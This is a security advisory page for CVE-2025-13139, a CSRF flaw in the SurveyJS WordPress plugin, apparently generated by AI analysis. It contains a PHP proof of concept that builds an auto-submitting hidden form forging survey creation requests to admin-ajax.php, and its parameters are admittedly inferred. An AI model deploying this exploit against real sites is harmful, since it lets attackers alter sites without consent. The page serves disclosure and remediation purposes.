Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13139: SurveyJS: Drag & Drop WordPress Form Builder <= 2.5.2 – Cross-Site Request Forgery to Survey Creation (surveyjs)

CVE ID CVE-2025-13139
Plugin surveyjs
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 2.5.2
Patched Version —
Disclosed January 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13139 (metadata-based):
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the SurveyJS: Drag & Drop WordPress Form Builder plugin. It affects versions up to and including 2.5.2. The vulnerability allows unauthenticated attackers to create surveys on a WordPress site by tricking an administrator into clicking a malicious link. The CVSS score of 4.3 (Medium) reflects the requirement for user interaction and the limited impact on integrity.

Atomic Edge research identifies the root cause as missing nonce validation on the `SurveyJS_AddSurvey` AJAX action. WordPress AJAX handlers require a nonce (number used once) token to verify the request originates from a legitimate user session. The plugin’s AJAX callback function for survey creation likely lacks a `check_ajax_referer()` call or a manual `wp_verify_nonce()` check. This conclusion is inferred from the CWE-352 classification and the vulnerability description, which explicitly states missing nonce validation. Without source code, this remains a logical inference based on the described attack vector.

Exploitation requires an attacker to craft a malicious web page or email containing a forged HTTP request. The request targets the WordPress admin AJAX endpoint `/wp-admin/admin-ajax.php` with the POST parameter `action` set to `SurveyJS_AddSurvey`. The payload includes survey data parameters, such as title, questions, and settings, which the plugin processes. An attacker must lure a logged-in administrator to visit the malicious page, which automatically submits the forged request using the administrator’s session privileges. The browser sends the administrator’s cookies with the request, bypassing authentication.

Remediation requires adding proper nonce verification to the vulnerable AJAX handler. The patched version (2.5.3) likely added a `check_ajax_referer()` call or equivalent nonce check within the function hooked to the `wp_ajax_SurveyJS_AddSurvey` action. This validation ensures the request includes a valid nonce generated for the specific user and action. The fix may also include stricter capability checks, though the description focuses on the CSRF flaw. Proper nonce implementation renders forged requests invalid.

The impact is unauthorized survey creation. Attackers can create surveys with arbitrary content, potentially including phishing questions, spam, or misleading information. This compromises the integrity of the site’s data and user interactions. While the vulnerability does not directly allow data theft or remote code execution, it can damage site credibility and user trust. Successful exploitation requires an administrator to be tricked, but the attack is silent and requires no feedback from the victim.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13139 - SurveyJS: Drag & Drop WordPress Form Builder <= 2.5.2 - Cross-Site Request Forgery to Survey Creation
<?php
/**
 * Proof of Concept for CVE-2025-13139.
 * This script simulates a malicious page that forges a request to create a survey.
 * It assumes the target URL and constructs a form that auto-submits via JavaScript.
 * The specific POST parameters for survey data are inferred; actual parameters may vary.
 */

$target_url = 'https://victim-site.com/wp-admin/admin-ajax.php'; // CONFIGURE THIS

// Inferred parameters based on plugin functionality and vulnerability description.
// The 'action' parameter is confirmed by the CVE description.
// Survey data parameters are assumed based on typical survey creation.
$ajax_action = 'SurveyJS_AddSurvey';
$survey_data = array(
    'action' => $ajax_action,
    'survey_title' => 'Atomic Edge Test Survey',
    'survey_json' => '{"pages":[{"name":"page1","elements":[{"type":"text","name":"question1"}]}]}',
    'survey_status' => 'publish'
);

// Generate an HTML page with a hidden form that auto-submits.
echo '<!DOCTYPE html><html><head><title>Redirecting...</title></head><body>';
echo '<form id="exploitForm" method="POST" action="' . htmlspecialchars($target_url) . '">';
foreach ($survey_data as $name => $value) {
    echo '<input type="hidden" name="' . htmlspecialchars($name) . '" value="' . htmlspecialchars($value) . '">';
}
echo '</form>';
echo '<script>document.getElementById("exploitForm").submit();</script>';
echo '</body></html>';
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School